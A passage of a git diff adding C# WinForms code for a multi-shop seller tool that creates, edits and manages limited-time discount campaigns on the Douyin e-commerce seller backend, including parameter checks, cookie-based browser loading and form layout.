(salesForm != null) + salesForm.ShowVisitorMessage("活动 " + activityName + " 创建成功!", pIdStr); + else if (manageForm != null) + manageForm.ShowVisitorMessage("活动 " + activityName + " 修改成功!", active?.campaign_id); + })); + } + else + { + if (createPro.Contains("Gateway Timeout")) + createPro = "{\"msg\":\"接口调用超时\"}"; + Invoke(new Action(() => + { + if (salesForm != null) + salesForm.ShowVisitorMessage(activityName + "活动创建失败!原因:" + BaseRegex.GetStringJson(ref createPro, "msg"), pIdStr); + else if (manageForm != null) + manageForm.ShowVisitorMessage(activityName + "活动创建失败!原因:" + BaseRegex.GetStringJson(ref createPro, "msg"), active?.campaign_id); + })); + } + } + else + { + Invoke(new Action(() => + { + if (salesForm != null) + salesForm.ShowVisitorMessage(activityName + "活动创建失败!原因:" + BaseRegex.GetStringJson(ref checkPro, "msg"), pIdStr); + else if (manageForm != null) + manageForm.ShowVisitorMessage(activityName + "活动创建失败!原因:" + BaseRegex.GetStringJson(ref checkPro, "msg"), active?.campaign_id); + })); + } + Thread.Sleep(Randomx.GetId(1500, 3500)); + } + } + + //var tab1 = this.ucTabControl1.TabPages.Cast().FirstOrDefault(t => t.Text == shop.ShopName + "活动管理" && t.Name == "tab" + shop.ShopId + "Active"); + //if (tab1 != null) + //{ + // LimitedSalesManagerActiveForm actForm = tab1.Controls[0] as LimitedSalesManagerActiveForm; + // actForm.activeList.Clear(); + //} + } + } + + private bool InitParams(bool isModify = false) + { + customActivityNamesTemp = new List(); + //活动名称 + if (chkSetName.Checked && !isModify) + { + customActivityNamesTemp.AddRange(CustomActivityNames); + + if (customActivityNamesTemp.Count == 0) + { + BaseMsgForm.ShowInfo("请设置自定义活动名称!"); + return false; + } + } + // 每个活动商品数量 + eachActivityProductNum = cmbSetPro.Text.ParseToInt(); + if (isModify) + eachActivityProductNum = 20; + // 每人限购 + userLimit = cmbLimit.Text; + // 活动时间类型 + timeSetType = rbTimePeriod.Checked ? "1" : "0"; // 按开始结束时间 或 按时间段 + // 活动库存售完后如何操作 + soldOutType = rbSoldOut.Checked ? "1" : "0"; + // 开始时间 + startTime = dtpStartTime.Value; + // 结束时间 + endTime = dtpEndTime.Value; + // (按时间段类型活动的)活动持续时间 + actDuration = cmbActCont.Text.Replace("小时", "").Replace("分钟", "").ParseToInt() * (cmbActCont.Text.Contains("小时") ? 60 : 1); + // 预热提前天 + preDayStr = cmbDays.Text.Trim(); + // 预热提前小时 + pteHourStr = cmbHours.Text.Trim(); + // 取消订单时间 + cancelTime = cmbCancelTime.Text.Trim(); + // 是否预热 + isPreheat = rbPreheat.Checked; + // 只设置一个sku + isSetSkuOption = chkSetSkuOption.Checked; + // 设置一个sku的类型(第一个,最后一个,价格最高,最低) + skuOptionType = this.cmbSkuOptionType.Text; + // 批量设置自定义名称 + isUseCustomActivityNames = chkSetName.Checked; + // 库存类型 + stockType = this.cmbStockType.Text; + // 库存数量 + stockValue = nudStockValue.Text.ParseToInt(); + // 最低折扣 + maxDiscount = 0.95M; + // 最少降价金额 + minReducePrice = 1M; + // 普通sku折扣/降价 + strPrice = string.Empty; + // 最低sku折扣/降价 + strPriceMin = string.Empty; + if (rbBuyoutPrice.Checked || isSetSkuOption) + { + strPrice = txtSKUPriceCommon.Text.Trim(); + if (strPrice == string.Empty || !BaseRegex.IsNumber(strPrice)) + { + BaseMsgForm.ShowError("请认真填写一口价的优惠数值!"); + txtSKUPriceCommon.Focus(); + return false; + } + //判断打折的数字是否正确 + if (rbDiscount.Checked) + { + if (strPrice.Length > 3 || strPrice.EndsWith(".") || strPrice.ParseToDecimal() > 9.5M || strPrice.ParseToDecimal() < 0.1M) + { + BaseMsgForm.ShowError("参加活动的商品打折数必须在0.1-9.5之间,且小数点后只能有一位!"); + return false; + } + } + else if (rbReducePrice.Checked) + { + if (strPrice.ParseToDecimal() < 1M) + { + BaseMsgForm.ShowError("参加活动的商品优惠金额最少1元!"); + return false; + } + } + } + else + { + strPriceMin = txtSKUPriceMin.Text.Trim(); + strPrice = txtSKUPriceCommon.Text.Trim(); + if (strPrice == string.Empty || !BaseRegex.IsNumber(strPrice) || strPriceMin == string.Empty || !BaseRegex.IsNumber(strPriceMin)) + { + BaseMsgForm.ShowInfo("请认真填写活动的优惠数值!"); + return false; + } + //判断打折的数字是否正确 + if (rbDiscount.Checked) + { + if (strPrice.Length > 3 || strPrice.EndsWith(".") || strPriceMin.Length > 3 || strPriceMin.EndsWith(".") + || strPrice.ParseToDecimal() > 9.5M || strPrice.ParseToDecimal() < 0.1M || strPriceMin.ParseToDecimal() > 9.5M || strPriceMin.ParseToDecimal() < 0.1M) + { + BaseMsgForm.ShowInfo("参加活动的商品打折数必须在0-10之间,且小数点后只能有一位!"); + return false; + } + } + else if (rbReducePrice.Checked) + { + if (strPrice.ParseToDecimal() < 1M) + { + BaseMsgForm.ShowError("参加活动的商品优惠金额最少1元!"); + return false; + } + } + } + + if (isSetSkuOption || shop_stype == "1") + { + if (shop_stype == "3") + strSetPrice = (strPrice.ParseToDouble() * 10).ToString(); //打折精确到小数点后一位(0-10之间) + else + strSetPrice = (strPrice.ParseToDouble() * 100).ToString(); //一口价、直降精确到小数点后两位(0-原价之间) + } + else + { + if (shop_stype == "3") + { + strSetPrice = (strPrice.ParseToDouble() * 10).ToString(); //打折精确到小数点后一位(0-10之间) + strSetPriceMin = (strPriceMin.ParseToDouble() * 10).ToString(); + } + else if (shop_stype == "2") + { + strSetPrice = (strPrice.ParseToDouble() * 100).ToString(); //直降精确到小数点后两位(0-原价之间) + strSetPriceMin = (strPriceMin.ParseToDouble() * 100).ToString(); + } + } + + return true; + } + + private void btnClear_Click(object sender, EventArgs e) + { + if (BaseMsgForm.ShowConfirm("确定要清空结果吗?清空后需要重新获取!").DialogResult == DialogResult.OK) + { + foreach (TabPage tp in ucTabControl1.TabPages) + { + if (tp.Controls.Count > 0) + { + if (tp.Text.Contains("活动管理")) + { + var managerActiveForm = tp.Controls[0] as LimitedSalesManagerActiveForm; + if (managerActiveForm != null) + managerActiveForm.ClearData(); + } + else + { + var salesForm = tp.Controls[0] as SeckillingAndLimitedSalesShopForm; + if (salesForm != null) + salesForm.ClearData(); + } + } + } + } + } + + private void btnStopGetProduct_Click(object sender, EventArgs e) + { + if (cancellationTokenSource != null) + cancellationTokenSource.Cancel(); + if (addActiveCancellationTokenSource != null) + addActiveCancellationTokenSource.Cancel(); + + webBrowser.Tag = null; + Task.Run(() => + { + Thread.Sleep(10000); + if (cancellationTokenSource == null || cancellationTokenSource.IsCancellationRequested) + { + Invoke(new Action(() => + { + btnGetProduct.Enabled = btnSubAct.Enabled = btnMdyAct.Enabled = btnManageAct.Enabled = true; + })); + } + }); + } + + private void rbDiscount_Click(object sender, EventArgs e) + { + if (shop_stype == "3" && rbDiscount.Checked) + return; + + if (chkSetSkuOption.Checked) + { + pnlSkuPriceMin.Visible = false; + } + else + { + pnlSkuPriceMin.Visible = true; + } + this.lblSKUPriceMin2.Text = "打"; + this.lblSKUPriceMin3.Text = "折"; + this.lblSKUPriceCommon2.Text = "打"; + this.lblSKUPriceCommon3.Text = "折"; + this.txtSKUPriceMin.Text = "9"; + this.txtSKUPriceCommon.Text = "9.5"; + shop_stype = "3"; + this.rbDiscount.Checked = true; + } + + private void rbReducePrice_Click(object sender, EventArgs e) + { + if (shop_stype == "2" && rbReducePrice.Checked) + return; + + if (chkSetSkuOption.Checked) + { + pnlSkuPriceMin.Visible = false; + } + else + { + pnlSkuPriceMin.Visible = true; + } + this.lblSKUPriceMin2.Text = "减"; + this.lblSKUPriceMin3.Text = "元"; + this.lblSKUPriceCommon2.Text = "减"; + this.lblSKUPriceCommon3.Text = "元"; + this.txtSKUPriceMin.Text = "1"; + this.txtSKUPriceCommon.Text = "1"; + shop_stype = "2"; + this.rbReducePrice.Checked = true; + } + + private void rbBuyoutPrice_Click(object sender, EventArgs e) + { + if (shop_stype == "1" && rbBuyoutPrice.Checked) + return; + + if (BaseMsgForm.ShowConfirm("确定所有商品的价格都按照统一的价格来设置?建议谨慎操作!").DialogResult == DialogResult.OK) + { + this.txtSKUPriceCommon.Text = "100"; + this.lblSKUPriceCommon2.Text = ""; + this.lblSKUPriceCommon3.Text = "元"; + shop_stype = "1"; + pnlSkuPriceMin.Visible = false; + this.rbBuyoutPrice.Checked = true; + } + else + { + if (shop_stype == "2") + rbReducePrice_Click(sender, e); + else + rbDiscount_Click(sender, e); + } + } + + private void btnManageAct_Click(object sender, EventArgs e) + { + if (lstShopId.Count == 0) + { + BaseMsgForm.ShowInfo("请选择店铺!"); + return; + } + btnGetProduct.Enabled = false; + cancellationTokenSource = new CancellationTokenSource(); + Task.Run(() => + { + foreach (var shopId in lstShopId) + { + if (cancellationTokenSource.IsCancellationRequested) + break; + + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId); + if (shop == null) + continue; + + if (ShopListForm.Instance == null) + ShopListForm.Instance = new ShopListForm(); + ShopListForm.Instance.CheckShopLogin(new string[] { shop.ShopAccount }, false); + if (shop.LoginStatus != "登录成功") + { + Invoke(new Action(() => + { + var row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) + { + row.Cells["colLoginStatus"].Value = "未登录"; + row.Cells["colCanUse"].Value = false; + } + })); + continue; + } + + LimitedSalesManagerActiveForm managerActiveForm = null; + Invoke(new Action(() => + { + var tab = this.ucTabControl1.TabPages.Cast().FirstOrDefault(t => t.Text == shop.ShopAccount + "活动管理" && t.Name == "tab" + shop.ShopAccountId + "Active"); + if (tab == null) + { + tab = new TabPage(); + tab.Name = "tab" + shop.ShopAccountId + "Active"; + tab.Text = shop.ShopAccount + "活动管理"; + this.ucTabControl1.TabPages.Add(tab); + + var limitedSalesManagerActiveForm = new LimitedSalesManagerActiveForm(shop); + limitedSalesManagerActiveForm.seckillingAndLimitedSalesForm = this; + limitedSalesManagerActiveForm.TopLevel = false; + limitedSalesManagerActiveForm.Left = 0; + limitedSalesManagerActiveForm.Top = 0; + limitedSalesManagerActiveForm.FormBorderStyle = FormBorderStyle.None; + limitedSalesManagerActiveForm.AutoSize = true; + limitedSalesManagerActiveForm.Dock = DockStyle.Fill; + limitedSalesManagerActiveForm.Show(); + tab.Controls.Add(limitedSalesManagerActiveForm); + } + + if (tab.Controls.Count > 0) + { + managerActiveForm = tab.Controls[0] as LimitedSalesManagerActiveForm; + this.ucTabControl1.SelectedTab = tab; + } + })); + + if (managerActiveForm != null) + { + managerActiveForm.GetActive(); + } + } + Invoke(new Action(() => { btnGetProduct.Enabled = true; })); + }, cancellationTokenSource.Token); + } + + public void GetActiveByCef(DouShopLoginInfo shop) + { + if (webBrowser == null) + { + Invoke(new Action(() => + { + webBrowser = CEFBrowser.CreateChromiumWebBrowser("about:blank", false); + webBrowser.KeyboardHandler = new KeyboardHandler(); + webBrowser.Dock = DockStyle.Fill; + CustomResourceRequestHandlerLocal resourceRequestHandler = new CustomResourceRequestHandlerLocal(); + resourceRequestHandler.ResourceLoadCompleteEvent += RequestHandler_ResourceLoadCompleteEvent; + webBrowser.RequestHandler = new CustomRequestHandler(resourceRequestHandler); + webBrowser.LifeSpanHandler = new LifeSpanHandlerLocal(PopWindowType.SelfWindow); + webBrowser.SendToBack(); + splitContainer4.Panel1.Controls.Add(webBrowser); + })); + } + + while (webBrowser.Tag != null) + { + Thread.Sleep(Randomx.GetId(50, 100)); + } + if (cancellationTokenSource.IsCancellationRequested) + return; + + webBrowser.Tag = shop; + + while (!webBrowser.IsBrowserInitialized || webBrowser.IsLoading) + continue; + + var cookie = shop.Cookies; + CEFBrowser.DeleteCookie(webBrowser.RequestContext.GetCookieManager(null)); + var t = CEFBrowser.SetCookieAsync("jinritemai.com", cookie, webBrowser.RequestContext.GetCookieManager(null)); + t.Wait(2000); + Thread.Sleep(500); + + var targetUrl = "https://fxg.jinritemai.com/market/center/tools/limitsales"; + webBrowser.Load(targetUrl); + + while (webBrowser.IsLoading) + { + Thread.Sleep(1000); + } + Thread.Sleep(3000); + + while (webBrowser.Tag != null) + { + Thread.Sleep(Randomx.GetId(50, 100)); + } + Thread.Sleep(3000); + } + + private void chkSetName_CheckedChanged(object sender, EventArgs e) + { + } + + private void chkSetOneSku_CheckedChanged(object sender, EventArgs e) + { + if (rbBuyoutPrice.Checked) + return; + + if (chkSetSkuOption.Checked) + { + pnlSkuPriceMin.Visible = false; + } + else + { + pnlSkuPriceMin.Visible = true; + } + } + + private void btnSetName_Click(object sender, EventArgs e) + { + LimitedSalesActivityNameForm customNameForm = new LimitedSalesActivityNameForm(); + customNameForm.ShowDialog(); + } + + private void cmbStockType_SelectedIndexChanged(object sender, EventArgs e) + { + if (cmbStockType.Text == "全部库存") + { + nudStockValue.Enabled = false; + nudStockValue.Value = 100; + nudStockValue.Width = 48; + lblPercentSign.Visible = true; + } + else if (cmbStockType.Text == "百分比库存") + { + nudStockValue.Enabled = true; + nudStockValue.Maximum = 100m; + nudStockValue.Minimum = 1m; + nudStockValue.Increment = 1m; + nudStockValue.DecimalPlaces = 0; + nudStockValue.Value = 50m; + nudStockValue.Width = 48; + lblPercentSign.Visible = true; + } + else if (cmbStockType.Text == "统一库存") + { + nudStockValue.Enabled = true; + nudStockValue.Maximum = 10000m; + nudStockValue.Minimum = 1m; + nudStockValue.Increment = 1m; + nudStockValue.DecimalPlaces = 0; + nudStockValue.Value = 100m; + nudStockValue.Width = 65; + lblPercentSign.Visible = false; + } + } + + private void btnCancelGet_Click(object sender, EventArgs e) + { + if (cancellationTokenSource != null) + cancellationTokenSource.Cancel(); + if (addActiveCancellationTokenSource != null) + addActiveCancellationTokenSource.Cancel(); + + webBrowser.Tag = null; + Task.Run(() => + { + Thread.Sleep(10000); + if (cancellationTokenSource == null || cancellationTokenSource.IsCancellationRequested) + { + Invoke(new Action(() => + { + btnGetProduct.Enabled = btnSubAct.Enabled = btnMdyAct.Enabled = btnManageAct.Enabled = true; + })); + } + }); + } + + private void btnMdyAct_Click(object sender, EventArgs e) + { + //https://fxg.jinritemai.com/byteshop/promotion/detailFlashAndGoods?campaign_id=7129422311865811232&filter_unable_product=0&_bid=ecom_market_shop&appid=1&_=1660017441378&_signature=_02B4Z6wo00d01iVfrVQAAIDDRlVtPWgRUO4lW6nAAOu0sAsG56mTgW-GugrVNIvOFK.nRZ2WI7FAQvOEAM7Akj1ERBjJAOPHQWw72Qx1eAqWHCS9zJ6RFjCyrannBvRvfpJr6aNhuwjX.UjXab + + if (lstShopId.Count <= 0) + { + BaseMsgForm.ShowInfo("请选择要修改活动的店铺!"); + return; + } + + var initResult = InitParams(true); + if (!initResult) + return; + + addActiveCancellationTokenSource = new CancellationTokenSource(); + btnGetProduct.Enabled = false; + btnSubAct.Enabled = false; + btnMdyAct.Enabled = false; + + Task.Run(() => + { + var lstShopIdTemp = new List(); + lstShopIdTemp.AddRange(lstShopId); + + foreach (var shopId in lstShopIdTemp) + { + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId); + if (shop == null) + continue; + + if (ucTabControl1.TabPages["tab" + shopId + "Active"] != null && ucTabControl1.TabPages["tab" + shopId + "Active"].Controls.Count > 0) + { + var manageForm = ucTabControl1.TabPages["tab" + shopId + "Active"].Controls[0] as LimitedSalesManagerActiveForm; + if (manageForm == null) + continue; + + Invoke(new Action(() => + { + manageForm.statusBar.lblTaskStatus.Text = "正在修改活动"; + })); + + List activityList = manageForm.activeList.Where(a => manageForm.lstActiveId.Contains(a.campaign_id)).ToList(); + if (activityList.Count == 0) + { + BaseMsgForm.ShowInfo("请选择店铺 " + shop.ShopAccount + " 要修改的活动!"); + continue; + } + else + { + foreach (ActiveInfo activity in activityList) + { + List productList = new List(); + var activity_product_result = manageForm.GetProductByActivityId(activity.campaign_id, shop.Cookies); + if (activity_product_result.Contains("\"st\":0,\"msg\":\"\"")) + { + JObject obj = JObject.Parse(activity_product_result); + JArray arr = obj["data"]?["promotion_goods"] as JArray; + if (arr != null) + { + foreach (JObject token in arr) + { + var tokenStr = token.ToString(); + + DouProductPromotionListInfo douProduct = new DouProductPromotionListInfo(); + douProduct.product_id = BaseRegex.GetStringJson(ref tokenStr, "product_id"); + douProduct.name = BaseRegex.GetStringJson(ref tokenStr, "title"); + douProduct.img = BaseRegex.GetStringJson(ref tokenStr, "cover"); + productList.Add(douProduct); + } + } + } + manageForm.DelActive(activity.campaign_id.ParseToLong(), false); + AddOrMdyActivity(shop, productList, activity, null, manageForm); + } + } + + Invoke(new Action(() => + { + if (addActiveCancellationTokenSource.IsCancellationRequested) + manageForm.statusBar.lblTaskStatus.Text = "活动修改中断"; + else + manageForm.statusBar.lblTaskStatus.Text = "活动修改结束"; + })); + } + } + + Invoke(new Action(() => + { + btnManageAct.Enabled = btnGetProduct.Enabled = btnSubAct.Enabled = btnMdyAct.Enabled = true; + })); + }, addActiveCancellationTokenSource.Token); + } + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/SeckillingAndLimitedSalesForm.resx b/TEMUKJD/KJDForms/SalesCenterForms/SeckillingAndLimitedSalesForm.resx new file mode 100644 index 0000000..82921c0 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/SeckillingAndLimitedSalesForm.resx @@ -0,0 +1,138 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/SeckillingAndLimitedSalesShopForm.Designer.cs b/TEMUKJD/KJDForms/SalesCenterForms/SeckillingAndLimitedSalesShopForm.Designer.cs new file mode 100644 index 0000000..0f038a0 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/SeckillingAndLimitedSalesShopForm.Designer.cs @@ -0,0 +1,235 @@ +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + partial class SeckillingAndLimitedSalesShopForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvProduct = new LittleRabbit.UserComponent.DataGridViewEx(); + this.label1 = new System.Windows.Forms.Label(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colProductId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colProductName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colStock = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colSales = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colPrice = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colCreateTime = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colAllow = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colMessage = new System.Windows.Forms.DataGridViewTextBoxColumn(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvProduct)).BeginInit(); + this.SuspendLayout(); + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvProduct); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 4, 4, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.label1); + this.splitContainer2.Panel2.Controls.Add(this.statusBar); + this.splitContainer2.Size = new System.Drawing.Size(1021, 469); + this.splitContainer2.SplitterDistance = 439; + this.splitContainer2.TabIndex = 9; + // + // dgvProduct + // + this.dgvProduct.AllowUserToAddRows = false; + this.dgvProduct.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvProduct.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvProduct.BackgroundColor = System.Drawing.Color.White; + this.dgvProduct.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvProduct.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvProduct.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvProduct.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colProductId, + this.colProductName, + this.colStock, + this.colSales, + this.colPrice, + this.colCreateTime, + this.colAllow, + this.colMessage}); + this.dgvProduct.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvProduct.Location = new System.Drawing.Point(4, 4); + this.dgvProduct.Name = "dgvProduct"; + this.dgvProduct.ReadOnly = true; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvProduct.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvProduct.RowTemplate.Height = 23; + this.dgvProduct.Size = new System.Drawing.Size(1013, 435); + this.dgvProduct.TabIndex = 6; + this.dgvProduct.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvProduct_CellContentClick); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.ForeColor = System.Drawing.Color.MidnightBlue; + this.label1.Location = new System.Drawing.Point(656, 2); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(43, 17); + this.label1.TabIndex = 3; + this.label1.Text = "label1"; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(1021, 26); + this.statusBar.TabIndex = 2; + // + // colSelect + // + this.colSelect.FillWeight = 50F; + this.colSelect.HeaderText = "选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.False; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 41; + // + // colProductId + // + this.colProductId.HeaderText = "商品Id"; + this.colProductId.Name = "colProductId"; + this.colProductId.ReadOnly = true; + this.colProductId.Width = 150; + // + // colProductName + // + this.colProductName.HeaderText = "商品名称"; + this.colProductName.Name = "colProductName"; + this.colProductName.ReadOnly = true; + this.colProductName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colProductName.Width = 350; + // + // colStock + // + this.colStock.HeaderText = "库存"; + this.colStock.Name = "colStock"; + this.colStock.ReadOnly = true; + this.colStock.Width = 60; + // + // colSales + // + this.colSales.HeaderText = "销量"; + this.colSales.Name = "colSales"; + this.colSales.ReadOnly = true; + this.colSales.Width = 60; + // + // colPrice + // + this.colPrice.HeaderText = "价格"; + this.colPrice.Name = "colPrice"; + this.colPrice.ReadOnly = true; + this.colPrice.Width = 60; + // + // colCreateTime + // + this.colCreateTime.HeaderText = "创建时间"; + this.colCreateTime.Name = "colCreateTime"; + this.colCreateTime.ReadOnly = true; + this.colCreateTime.Visible = false; + // + // colAllow + // + this.colAllow.HeaderText = "可用"; + this.colAllow.Name = "colAllow"; + this.colAllow.ReadOnly = true; + // + // colMessage + // + this.colMessage.HeaderText = "消息"; + this.colMessage.Name = "colMessage"; + this.colMessage.ReadOnly = true; + this.colMessage.Width = 300; + // + // SeckillingAndLimitedSalesShopForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1021, 469); + this.Controls.Add(this.splitContainer2); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "SeckillingAndLimitedSalesShopForm"; + this.Text = "SeckillingAndLimitedSalesShopForm"; + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + this.splitContainer2.Panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvProduct)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvProduct; + private System.Windows.Forms.Label label1; + public UserControls.StatusBarUserControl statusBar; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colProductId; + private System.Windows.Forms.DataGridViewTextBoxColumn colProductName; + private System.Windows.Forms.DataGridViewTextBoxColumn colStock; + private System.Windows.Forms.DataGridViewTextBoxColumn colSales; + private System.Windows.Forms.DataGridViewTextBoxColumn colPrice; + private System.Windows.Forms.DataGridViewTextBoxColumn colCreateTime; + private System.Windows.Forms.DataGridViewTextBoxColumn colAllow; + private System.Windows.Forms.DataGridViewTextBoxColumn colMessage; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/SeckillingAndLimitedSalesShopForm.cs b/TEMUKJD/KJDForms/SalesCenterForms/SeckillingAndLimitedSalesShopForm.cs new file mode 100644 index 0000000..d59b793 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/SeckillingAndLimitedSalesShopForm.cs @@ -0,0 +1,563 @@ +using AllBase; +using AllBase.Extension; +using AllBase.Helper; +using AllBase.Model.Result; +using LittleRabbit.Extension; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.BLL.Product; + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + public partial class SeckillingAndLimitedSalesShopForm : Form + { + private DouShopLoginInfo shop = null; + private CheckBox chkSelectAll = null; + private string _signature = ""; + private string _timeSpan = ""; + private bool isGetSalesSuccess = false; + private bool isGetProductSuccess = false; + private Dictionary dicProductSales = new Dictionary(); + public SeckillingAndLimitedSalesForm SeckillingAndLimitedSalesForm { get; set; } = null; + public List ProductList { get; set; } = new List(); + public List LstProductId + { + get + { + return this.dgvProduct.Rows.Cast().Where(r => r.Cells["colSelect"].Value.ParseToBool()).Select(r => r.Cells["colProductId"].Value.ToString()).ToList(); + } + } + + public SeckillingAndLimitedSalesShopForm(DouShopLoginInfo _shop = null) + { + InitializeComponent(); + + shop = _shop; + //设置全选按钮 + chkSelectAll = dgvProduct.Columns["colSelect"].AddHeaderCheckBox(HorizontalAlignment.Center, 0, 0, null, null, false); + dgvProduct.Columns["colSelect"].HeaderText = ""; + chkSelectAll.Width = chkSelectAll.Height = 13; + chkSelectAll.CheckedChanged += chkSelectAll_CheckedChanged; //全选事件 + } + + private void chkSelectAll_CheckedChanged(object sender, EventArgs e) + { + if (!chkSelectAll.Checked) + { + foreach (DataGridViewRow row in dgvProduct.Rows) + { + row.Cells["colSelect"].Value = false; + } + } + else + { + foreach (DataGridViewRow row in dgvProduct.Rows) + { + if (row.Cells["colAllow"].Value?.ToString() == "可用") + row.Cells["colSelect"].Value = true; + } + } + } + + public void 